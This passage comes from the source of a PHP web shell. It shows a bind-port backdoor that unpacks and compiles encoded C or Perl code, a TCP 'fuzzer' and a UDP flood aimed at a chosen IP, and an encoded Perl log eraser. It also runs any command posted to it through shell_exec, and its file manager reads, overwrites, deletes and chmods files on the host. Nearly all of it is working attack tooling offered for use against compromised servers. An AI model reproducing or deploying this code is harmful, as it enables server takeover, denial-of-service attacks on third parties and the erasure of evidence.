  4778.                 echo "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
  4779.             }
  4780.             else
  4781.             {
  4782.                 @$fh=fopen("/tmp/bp.c","w");
  4783.                 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
  4784.                 @fclose($fh);
  4785.                 execmd("chmod /tmp/bp.c 0755");
  4786.                 execmd("gcc -o /tmp/bp /tmp/bp.c");
  4787.                 $out = execmd("/tmp/bp"." ".$_POST['port']." ". $passwd ." &");
  4788.                 echo "<pre>$out\n".execmd("ps aux | grep bp")."</pre>";
  4789.             }
  4790.         }
  4791.         if($_POST['lang'] == 'perl')
  4792.         {
  4793.             if(is_writable("."))
  4794.             {  
  4795.                 @$fh=fopen(getcwd()."/bp.pl",'w');
  4796.                 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
  4797.                 @fclose($fh);
  4798.                 execmd("chmod ".getcwd()."/bp.pl 0755");
  4799.                 $out = execmd("perl ".getcwd()."/bp.pl" . " " . $passwd ." &");
  4800.                 echo "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
  4801.             }
  4802.             else
  4803.             {
  4804.                 @$fh=fopen("/tmp/bp.pl","w");
  4805.                 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
  4806.                 @fclose($fh);
  4807.                 $out = execmd("perl /tmp/bp.pl ". $passwd ." &");
  4808.                 echo "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
  4809.             }
  4810.         }
  4811.     }
  4812. }
  4813.  
  4814. //fuzzer
  4815.  
  4816. else if(isset($_GET['fuzz']))
  4817. {
  4818.     if(isset($_GET['ip']) &&
  4819.     isset($_GET['port']) &&
  4820.     isset($_GET['times']) &&
  4821.     isset($_GET['time']) &&
  4822.     isset($_GET['message']) &&
  4823.     isset($_GET['messageMultiplier']) &&
  4824.     $_GET['message'] != "" &&
  4825.     $_GET['time'] != "" &&
  4826.     $_GET['times'] != "" &&
  4827.     $_GET['port'] != "" &&
  4828.     $_GET['ip'] != "" &&
  4829.     $_GET['messageMultiplier'] != ""
  4830.     )
  4831.     {
  4832.        $IP=$_GET['ip'];
  4833.        $port=$_GET['port'];
  4834.        $times = $_GET['times'];
  4835.        $timeout = $_GET['time'];
  4836.        $send = 0;
  4837.        $ending = "";
  4838.        $multiplier = $_GET['messageMultiplier'];
  4839.        $data = "";
  4840.        $mode="tcp";
  4841.        $data .= "GET /";
  4842.        $ending .= " HTTP/1.1\n\r\n\r\n\r\n\r";
  4843.         if($_GET['type'] == "tcp")
  4844.         {
  4845.             $mode = "tcp";
  4846.         }
  4847.         while($multiplier--)
  4848.         {
  4849.             $data .= urlencode($_GET['message']);
  4850.         }
  4851.         $data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers
  4852.         $data .= "by-Dhanush".$ending;
  4853.         $length = strlen($data);
  4854.        
  4855.        
  4856.        echo "Sending Data :- <br /> <p align='center'>$data</p>";
  4857.        
  4858.        print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";
  4859.        for($i=0;$i<$times;$i++)
  4860.        {
  4861.             $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
  4862.             if($socket)
  4863.             {
  4864.                 fwrite($socket , $data , $length );
  4865.                 fclose($socket);
  4866.             }
  4867.         }
  4868.         echo "<script>alert('Fuzzing Completed!');</script>";
  4869.         echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />";
  4870.         echo "Total Number of Packets Sent : " . $times . "<br />";
  4871.         echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "<br />";
  4872.         echo "Data per packet = " . HumanReadableFilesize($length) . "<br />";
  4873.     }
  4874.     else
  4875.     {
  4876.         ?>
  4877.         <form method="GET">
  4878.             <input type="hidden" name="fuzz" />
  4879.             <table id="margins">
  4880.                 <tr>
  4881.                     <td width="400" class="title">
  4882.                         IP
  4883.                     </td>
  4884.                     <td>
  4885.                         <input class="box" name="ip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
  4886.                     </td>
  4887.                 </tr>
  4888.                
  4889.                 <tr>
  4890.                     <td class="title">
  4891.                         Port
  4892.                     </td>
  4893.                     <td>
  4894.                         <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
  4895.                     </td>
  4896.                 </tr>
  4897.                
  4898.                 <tr>
  4899.                     <td class="title">
  4900.                         Timeout
  4901.                     </td>
  4902.                     <td>
  4903.                         <input type="text" class="box" name="time" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';"/>
  4904.                     </td>
  4905.                 </tr>
  4906.                
  4907.                
  4908.                 <tr>
  4909.                     <td class="title">
  4910.                         No of times
  4911.                     </td>
  4912.                     <td>
  4913.                         <input type="text" class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';" />
  4914.                     </td>
  4915.                 </tr>
  4916.                
  4917.                 <tr>
  4918.                     <td class="title">
  4919.                         Message (The message Should be long and it will be multiplied with the value after it)
  4920.                     </td>
  4921.                     <td>
  4922.                         <input class="box" name="message" value="%S%x--Some Garbage here --%x%S" onFocus="if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';" onBlur="if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';"/>
  4923.                     </td>
  4924.                     <td>
  4925.                         x
  4926.                     </td>
  4927.                     <td width="20">
  4928.                         <input style="width: 30px;" class="box" name="messageMultiplier" value="10" />
  4929.                     </td>
  4930.                 </tr>
  4931.                
  4932.                 <tr>
  4933.                     <td rowspan="2">
  4934.                         <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="but" value="  Submit  "/>
  4935.                     </td>
  4936.                 </tr>
  4937.             </table>            
  4938.         </form>
  4939.         <?php
  4940.     }
  4941. }
  4942.  
  4943.  
  4944.     //DDos
  4945.    
  4946.     else if(isset($_GET['dos']))
  4947.     {
  4948.         if(isset($_GET['ip']) &&  isset($_GET['exTime']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && $_GET['exTime'] != "" &&
  4949.         $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['timeout'] != "" && $_GET['exTime'] != "" )
  4950.         {
  4951.            $IP=$_GET['ip'];
  4952.            $port=$_GET['port'];
  4953.            $executionTime = $_GET['exTime'];
  4954.            $noOfBytes = $_GET['noOfBytes'];
  4955.            $data = "";
  4956.            $timeout = $_GET['timeout'];
  4957.            $packets = 0;
  4958.            $counter = $noOfBytes;
  4959.            $maxTime = time() + $executionTime;;
  4960.            while($counter--)
  4961.            {
  4962.                 $data .= "X";
  4963.            }
  4964.            $data .= " Dhanush";
  4965.            print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";
  4966.            
  4967.            while(1)
  4968.            {
  4969.                 $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
  4970.                 if($socket)
  4971.                 {
  4972.                     fwrite($socket , $data);
  4973.                     fclose($socket);
  4974.                     $packets++;
  4975.                 }
  4976.                 if(time() >= $maxTime)
  4977.                 {
  4978.                     break;
  4979.                 }
  4980.             }
  4981.             echo "<script>alert('Dos Completed!');</script>";
  4982.             echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";
  4983.             echo "Total Number of Packets Sent : " . $packets . "<br />";
  4984.             echo "Total Data Sent = ". HumanReadableFilesize($packets*$noOfBytes) . "<br />";
  4985.             echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . "<br />";
  4986.         }
  4987.         else
  4988.         {
  4989.             ?>
  4990.             <form method="GET">
  4991.                 <input type="hidden" name="dos" />
  4992.                 <table id="margins">
  4993.                     <tr>
  4994.                         <td width="400" class="title">
  4995.                             IP
  4996.                         </td>
  4997.                         <td>
  4998.                             <input class="box" name="ip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
  4999.                         </td>
  5000.                     </tr>
  5001.                    
  5002.                     <tr>
  5003.                         <td class="title">
  5004.                             Port
  5005.                         </td>
  5006.                         <td>
  5007.                             <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
  5008.                         </td>
  5009.                     </tr>
  5010.                    
  5011.                     <tr>
  5012.                         <td class="title">
  5013.                             Timeout (Time in seconds)
  5014.                         </td>
  5015.                         <td>
  5016.                             <input type="text" class="box" name="timeout" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';" />
  5017.                         </td>
  5018.                     </tr>
  5019.                    
  5020.                    
  5021.                     <tr>
  5022.                         <td class="title">
  5023.                             Execution Time (Time in seconds)
  5024.                         </td>
  5025.                         <td>
  5026.                             <input type="text" class="box" name="exTime" value="10" onFocus="if(this.value == '10')this.value = '';" onBlur="if(this.value=='')this.value='10';"/>
  5027.                         </td>
  5028.                     </tr>
  5029.                    
  5030.                     <tr>
  5031.                         <td class="title">
  5032.                             No of Bytes per/packet
  5033.                         </td>
  5034.                         <td>
  5035.                             <input type="text" class="box" name="noOfBytes" value="999999" onFocus="if(this.value == '999999')this.value = '';" onBlur="if(this.value=='')this.value='999999';"/>
  5036.                         </td>
  5037.                     </tr>
  5038.                    
  5039.    
  5040.                     <tr>
  5041.                         <td rowspan="2">
  5042.                             <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="but" value="   Attack >> "/>
  5043.                         </td>
  5044.                     </tr>
  5045.                 </table>            
  5046.             </form>
  5047.             <?php
  5048.         }
  5049.     }
  5050.  
  5051. // Sec info
  5052. else if(isset($_GET['secinfo']))
  5053. { ?>
  5054. <br><br><center><font size=5>Server security information</font><br><br></center>
  5055.     <table style="width:100%;" border="1" class="pwdtbl">
  5056.     <tr>
  5057.         <td style="width:7%;">Curl</td>
  5058.         <td style="width:7%;">Oracle</td>
  5059.         <td style="width:7%;">MySQL</td>
  5060.         <td style="width:7%;">MSSQL</td>
  5061.         <td style="width:7%;">PostgreSQL</td>
  5062.         <td style="width:12%;">Open Base Directory</td>
  5063.         <td style="width:10%;">Safe_Exec_Dir</td>
  5064.         <td style="width:7%;">PHP Version</td>
  5065.         <td style="width:7%;">Server Admin</td>
  5066.     </tr>
  5067.     <tr>
  5068.         <td style="width:7%;"><font class="txt"><?php curlinfo(); ?></font></td>
  5069.         <td style="width:7%;"><font class="txt"><?php oracleinfo(); ?></font></td>
  5070.         <td style="width:7%;"><font class="txt"><?php mysqlinfo(); ?></font></td>
  5071.         <td style="width:7%;"><font class="txt"><?php mssqlinfo(); ?></font></td>
  5072.         <td style="width:7%;"><font class="txt"><?php postgresqlinfo(); ?></font></td>
  5073.         <td style="width:12%;"><font class="txt"><?php echo $basedir; ?></font></td>
  5074.         <td style="width:10%;"><font class="txt"><?php if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "NONE</b>";}else {echo "<font class=txt>$df</font></b>";};} ?></font></td>
  5075.         <td style="width:7%;"><font class="txt"><?php phpver(); ?></font></td>
  5076.         <td style="width:7%;"><font class="txt"><?php serveradmin(); ?></font></td>
  5077.     </tr>
  5078. </table><br> <?php
  5079.     mysecinfo();
  5080. }
  5081.  
  5082. else if(isset($_GET["com"]))
  5083. {
  5084.     echo "<br>";
  5085.     ob_start();
  5086.     eval("phpinfo();");
  5087.     $b = ob_get_contents();
  5088.     ob_end_clean();
  5089.     $a = strpos($b,"<body>")+6;
  5090.     $z = strpos($b,"</body>");
  5091.     $s_result = "<div class='myphp'>".substr($b,$a,$z-$a)."</div>";
  5092.     echo $s_result;
  5093. }
  5094.  
  5095. else if(isset($_GET['perms']))
  5096. {
  5097. ?>
  5098.     <form method="POST" action="<?php echo $self; ?>" >
  5099.     <input type="hidden" name="myfilename" value="<?php echo $_GET['file']; ?>">
  5100.         <table align="center" border="1" style="width:40%;">
  5101.             <tr>
  5102.                 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
  5103.             </tr>
  5104.             <tr>
  5105.                 <td colspan="2" align="center" style="height:60px">
  5106.         <input type="Submit" value="Change Permission" class="but" style="padding: 5px;" name="changeperms"/></td>
  5107.             </tr>
  5108.         </table>
  5109.        
  5110.     </form>  
  5111.     <?php
  5112. }
  5113.  
  5114. else if(isset($_GET['rename']))
  5115. {
  5116. ?>
  5117.     <form method="GET" action="<?php echo $self; ?>" >
  5118.     <input type="hidden" name="getdir" value="<?php echo $_GET['getdir']; ?>">
  5119.         <table>
  5120.             <tr>
  5121.                 <td>File </td><td> : </td><td><input value="<?php echo $_GET['rename'];?>" name="file" class="box" /></td>
  5122.             </tr>
  5123.             <tr>
  5124.                 <td>To </td><td> : </td><td><input value="<?php echo $_GET['rename'];?>" name="to" class="box" /></td>
  5125.             </tr>
  5126.         </table>
  5127.         <br>
  5128.         <input type="Submit" value="Rename It" class="but" style="margin-left: 160px;padding: 5px;"/>
  5129. </form>  
  5130.     <?php
  5131.  
  5132. }
  5133.  else if(isset($_GET['open']))
  5134. {
  5135.     ?>
  5136.         <form method="POST" action="<?php echo $self;?>"\>
  5137.         <table>
  5138.             <tr>
  5139.                 <td>File </td><td> : </td><td><input value="<?php echo $_GET['open'];?>" class="box" name="file" /></td>
  5140.             </tr>
  5141.             <tr>
  5142.                 <td>Size </td><td> : </td><td><input value="<?php echo filesize($_GET['open']);?>" class="box" /></td>
  5143.             </tr>
  5144.         </table>
  5145.         <textarea name="content" rows="20" cols="100" class="box"><?php
  5146.         $content = htmlspecialchars(file_get_contents($_GET['open']));
  5147.         if($content)
  5148.         {
  5149.             echo $content;
  5150.         }
  5151.         else if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))
  5152.         {
  5153.             fopen($_GET['open']);
  5154.             while(!feof())
  5155.             {
  5156.                 echo htmlspecialchars(fgets($_GET['open']));
  5157.             }
  5158.         }
  5159.  
  5160.         ?>
  5161.         </textarea><br />
  5162.         <input name="save" type="Submit" value="Save Changes" id="spacing" class="but"/>
  5163.         </form>
  5164.     <?php
  5165. }
  5166.  
  5167. else if(isset($_POST['file']) &&
  5168.         isset($_POST['content']) )
  5169. {
  5170.     if(is_dir($_POST['file']))
  5171.     {
  5172.         header("location:".$self."?dir=".$_POST['file']);
  5173.     }
  5174.     if(file_exists($_POST['file']))
  5175.     {
  5176.         $handle = fopen($_POST['file'],"w");
  5177.         fwrite($handle,$_POST['content']);
  5178.         header("Location:$self");
  5179.     }
  5180.     else
  5181.     {
  5182.         echo "<p class='alert'>File Name Specified does not exists!</p>";
  5183.     }
  5184. }
  5185.  
  5186. else if(isset($_GET['selfkill']))
  5187. {
  5188.     unlink(__FILE__);
  5189.     echo "<br><center><font class=txt size=5>Good Bye......</font></center>";
  5190. }
  5191.  
  5192. else if(isset($_POST['executecmd']))
  5193. {
  5194.     if($_POST['mycmd']=="logeraser")
  5195.     {
  5196.         $erase = gzinflate(base64_decode("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"));
  5197.         if(is_writable("."))
  5198.         {  
  5199.             if($openp = fopen(getcwd()."/logseraser.pl", 'w'))
  5200.             {
  5201.                 fwrite($openp, $erase);
  5202.                 fclose($openp);
  5203.                 passthru("perl logseraser.pl linux");
  5204.                 unlink("logseraser.pl");
  5205.                 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
  5206.             }
  5207.         } else
  5208.         {
  5209.             if($openp = fopen("/tmp/logseraser.pl", 'w'))
  5210.             {
  5211.                 fwrite($openp, $erase)or die("Error");
  5212.                 fclose($openp);
  5213.                 $aidx = passthru("perl logseraser.pl linux");
  5214.                 unlink("logseraser.pl");
  5215.                 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
  5216.             }
  5217.         }
  5218.     }
  5219.     else
  5220.     {
  5221.         $check = shell_exec($_POST['mycmd']);
  5222.         echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
  5223.     }
  5224. }
  5225.  
  5226. else if(isset($_POST['changefileperms']))
  5227. {
  5228.     if($_POST['chmode'] != null && is_numeric($_POST['chmode']))
  5229.     {
  5230.         $actbox = $_POST["actbox3"];
  5231.         foreach ($actbox as $v)
  5232.         {
  5233.             $perms = 0;
  5234.             for($i=strlen($_POST['chmode'])-1;$i>=0;--$i)
  5235.                 $perms += (int)$_POST['chmode'][$i]*pow(8, (strlen($_POST['chmode'])-$i-1));
  5236.             echo "<center><div align=left style=width:60%;>";
  5237.             if(@chmod($v,$perms))
  5238.                 echo "<blink><font size=3>File $v Permissions Changed Successfully</font></blink>";
  5239.             else
  5240.                 echo "<blink><font size=3 class=txt>Cannot Change $v File Permissions</font></blink>";
  5241.             echo "</div></center>";
  5242.         }
  5243.            
  5244.     }
  5245. }
  5246. else if(isset($_POST['choice']))
  5247. {  
  5248.     if($_POST['choice'] == "chmod")
  5249.     { ?>
  5250.         <form method="POST" ><?php
  5251.         $actbox1 = $_POST['actbox'];
  5252.         foreach ($actbox1 as $v)
  5253.         { ?>
  5254.             <input type="hidden" name="actbox3[]" value="<?php echo $v; ?>">
  5255.         <?php }
  5256.         ?>
  5257.             <table align="center" border="1" style="width:40%;">
  5258.                 <tr>
  5259.                     <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
  5260.                 </tr>
  5261.                 <tr>
  5262.                     <td colspan="2" align="center" style="height:60px">
  5263.             <input type="Submit" value="Change Permission" class="but" style="padding: 5px;" name="changefileperms"/></td>
  5264.                 </tr>
  5265.             </table>
  5266.            
  5267.         </form>  <?php
  5268.     }
  5269.     else if($_POST['choice'] == "delete")
  5270.     {
  5271.         $actbox = $_POST["actbox"];
  5272.  
  5273.         foreach ($actbox as $v)
  5274.         {
  5275.             if(is_file($v))
  5276.             {
  5277.                 if(unlink($v))
  5278.                 {
  5279.                     echo "<br><center><font class=txt size=3>File $v Deleted Successfully</font></center>";
  5280.                 }
  5281.                 else
  5282.                     echo "<br><center><font size=3>Cannot Delete File $v</font></center>";
  5283.             }  
  5284.             else if(is_dir($v))
  5285.             {
  5286.                 rrmdir($v);
  5287.                 $loc = $_SERVER['REQUEST_URI'];
  5288.                 header("Location:$loc");
  5289.                 ob_end_flush();
  5290.             }
  5291.         }
  5292.     }
  5293.     else if($_POST['choice'] == "compre")
  5294.     {
  5295.         $actbox = $_POST["actbox"];
  5296.         foreach ($actbox as $v)
  5297.         {
  5298.             if(is_file($v))
  5299.             {
  5300.                 $zip = new ZipArchive();
  5301.                 $filename= basename($v) . '.zip';
  5302.                 if(($zip->open($filename, ZipArchive::CREATE))!==true)
  5303.                 { echo '<br><font size=3>Error: Unable to create zip file for $v</font>';}
  5304.                 else {echo "<br><font class=txt size=3>File $v Compressed successfully</font>";}
  5305.                 $zip->addFile(basename($v));
  5306.                 $zip->close();
  5307.             }
  5308.             else if(is_dir($v))
  5309.             {
  5310.                 if($os == "Linux")
  5311.                 {
  5312.                     $filename= basename($v);
  5313.                     execmd("tar --create --recursion --file=$filename.tar $v");
  5314.                     echo "<br><font class=txt size=3>File $v Compressed successfully as $v.tar</font>";
  5315.                 }
  5316.             }
  5317.         }
  5318.     }
  5319.     else if($_POST['choice'] == "uncompre")
  5320.     {
  5321.         $actbox = $_POST["actbox"];
  5322.         foreach ($actbox as $v)
  5323.         {
  5324.              $zip = new ZipArchive;
  5325.              $filename= basename($v);
  5326.              $res = $zip->open($filename);
  5327.              if ($res === TRUE)
  5328.              {
  5329.                  $pieces = explode(".",$filename);
  5330.                  $zip->extractTo($pieces[0]);
  5331.                  $zip->close();
  5332.                  echo "<br><font class=txt size=3>File $v Unzipped successfully</font>";
  5333.              } else {
  5334.                  echo "<br><font size=3>Error: Unable to Unzip file $v</font>";
  5335.              }
  5336.         }
  5337.     }
  5338. }
  5339.  
  5340. else if(isset($_POST['execute']))
  5341.     {
  5342.         $comm = $_POST['execute'];
  5343.  
  5344.  
  5345.         chdir($_POST['executepath']);
  5346.         $check = shell_exec($comm);
  5347.        
  5348.             echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
  5349.        
  5350.             ?>
  5351.             <BR><BR><center><form action="<?php $self; ?>" method="post">
  5352.             <input type="hidden" name="executepath" value="<?php echo $_POST['executepath']; ?>" />
  5353.             <input type="text" class="box" name="execute">
  5354.             <input type="submit" value="Execute" class="but"></form></center>
  5355.             <?php
  5356.     }
  5357.    
  5358.     else if(isset($_POST['Create']))
  5359.     {
  5360.     ?>
  5361.     <form method="post">
  5362.    
  5363.     <input type="hidden" name="filecreator" value="<?php echo $_POST['createfile']; ?>">
  5364.         <textarea name="filecontent" rows="20" cols="100" class="box"></textarea><br />
  5365.         <input name="createmyfile" type="Submit" value="  Save " id="spacing" class="but"/>
  5366.   </form>
  5367.        
  5368.     <?php }
  5369.  
  5370. else
  5371. {
  5372.    
  5373.     $mydir = basename(dirname(__FILE__));
  5374.     $pdir = str_replace($mydir,"",$dir);
  5375.     $pdir = str_replace("/","",$dir);
  5376.    
  5377.     $files = array();
  5378.     $dirs  = array();
  5379.    
  5380.      $odir=opendir($dir);
  5381.      while($file = readdir($odir))
  5382.      {
  5383.        if(is_dir($dir.'/'.$file))
  5384.        {
  5385.          $dirs[]=$file;
  5386.        }
  5387.        else
  5388.        {
  5389.          $files[]=$file;
  5390.        }
  5391.      }
  5392.      $countfiles = count($dirs) + count($files);
  5393.      $dircount = count($dirs);
  5394.      $dircount = $dircount-2;
  5395. ?>
  5396.     <table style="width:95%;" align="center" cellpadding="0">
  5397.     <tr class="file"><td colspan="7" align="center"><font class="txt">Listing folder <?php echo $dir; ?></font> (<?php echo $dircount.' Dirs And '.count($files).' Files'; ?>)</td>
  5398.     <tr class="file">
  5399.         <th style="width:53%;">Name</th>
  5400.         <th style="width:7%;">Size</th>
  5401.         <th style="width:9%;">Permissions</th>
  5402.     <?php if($os != "Windows"){ echo "<th style=\"width:9%;\">Owner / Group</th>"; } ?>
  5403.         <th style="width:12%;">Modification Date</th>
  5404.         <th style="width:6%;">Rename</th>
  5405.         <th style="width:7%;">Download</th>
  5406.         <th style="width:3%;">Action</th>
  5407.     </tr>
  5408.    
  5409. <?php
  5410.  
  5411.    if(isset($_GET['download']))
  5412.     {
  5413.         download();        
  5414.     }
  5415.     ?>
  5416.     <form method="post" id="myform" name="myform">
  5417.     <?php
  5418.     $dir = getcwd();
  5419.     if(isset($_GET['dir']))
  5420.     {
  5421.         $dir = $_GET['dir'];
  5422.     }
  5423.     $i = 0;
  5424.     if(is_dir($dir))
  5425.     {
  5426.         if($countfiles == 2)
  5427.             echo "<tr><td colspan=5><center><font size=3>No files or directory present or Cannot view files and directory</font></center></td></tr>";
  5428.            
  5429.         foreach($dirs as $val)
  5430.         {
  5431.             ?>
  5432.             <font color="#999999">
  5433.             <?php if($val == ".")
  5434.             {
  5435.                 ?><tr class="file"><td class='info'><a href='<?php echo $self; ?>'>[ . ]</a></td><td>CURDIR</td>
  5436.             <td><?php if(is_writable(getcwd())) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo getcwd(); ?>"><font class="wrtperm"><?php echo getFilePermissions(getcwd());?></font></a><?php } else if(is_readable(getcwd())) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo getcwd(); ?>"><font class="readperm"><?php echo getFilePermissions(getcwd());?></font></a><?php } else { ?><a href="<?php echo $self; ?>?perms&file=<?php echo getcwd(); ?>"><font class="noperm"><?php echo getFilePermissions(getcwd());?></font><?php } ?></td>
  5437.             <?php if($os != 'Windows')
  5438.                   {
  5439.                     echo "<td>";
  5440.                     $name=@posix_getpwuid(@fileowner($self));
  5441.                     $group=@posix_getgrgid(@filegroup($self));
  5442.                     $owner = $name['name']. " / ". $group['name'];
  5443.                     echo $owner . "</td>";
  5444.                 }
  5445.                      ?>
  5446.             <td><font size="2" class="txt"><?php echo date('Y-m-d H:i:s', @filemtime(getcwd())); ?></font></td>
  5447.             <td></td><td></td><td></td></</tr><?php
  5448.            
  5449.             }else if($val=="..") { $val = Trail($dir . $directorysperator . $val,$directorysperator); ?>
  5450.             <tr  class="file"><td class='info'><a href='<?php echo $self . "?dir=".$val; ?>'>[ .. ]</a></td><td>UPDIR</td>
  5451.            
  5452.             <td><?php if(is_writable($val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $val; ?>"><font class="wrtperm"><?php echo getFilePermissions($val);?></font></a><?php } else if(is_readable($val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $val; ?>"><font  class="readperm"><?php echo getFilePermissions($val);?></font></a><?php } else { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $val; ?>"><font  class="noperm"><?php echo getFilePermissions($val);?></font><?php } ?></td>
  5453.             <?php   if($os != 'Windows')
  5454.                     {
  5455.                     echo "<td>";
  5456.                     $name=@posix_getpwuid(@fileowner($val));
  5457.                     $group=@posix_getgrgid(@filegroup($val));
  5458.                     $owner = $name['name']. " / ". $group['name'];
  5459.                     echo $owner . "</td>";
  5460.                     }  ?>
  5461.             <td><font size="2" class="txt"><?php echo date('Y-m-d H:i:s', @filemtime($val)); ?></font></td>
  5462.             <td></td><td></td><td></td></tr><?php continue; }
  5463.         }
  5464.         foreach($dirs as $val)
  5465.         {
  5466.             $i++;
  5467.             ?>
  5468.             <font color="#999999">
  5469.            
  5470.             <?php if($val == "." || $val == "..") continue; ?>
  5471.             <tr  class="file">
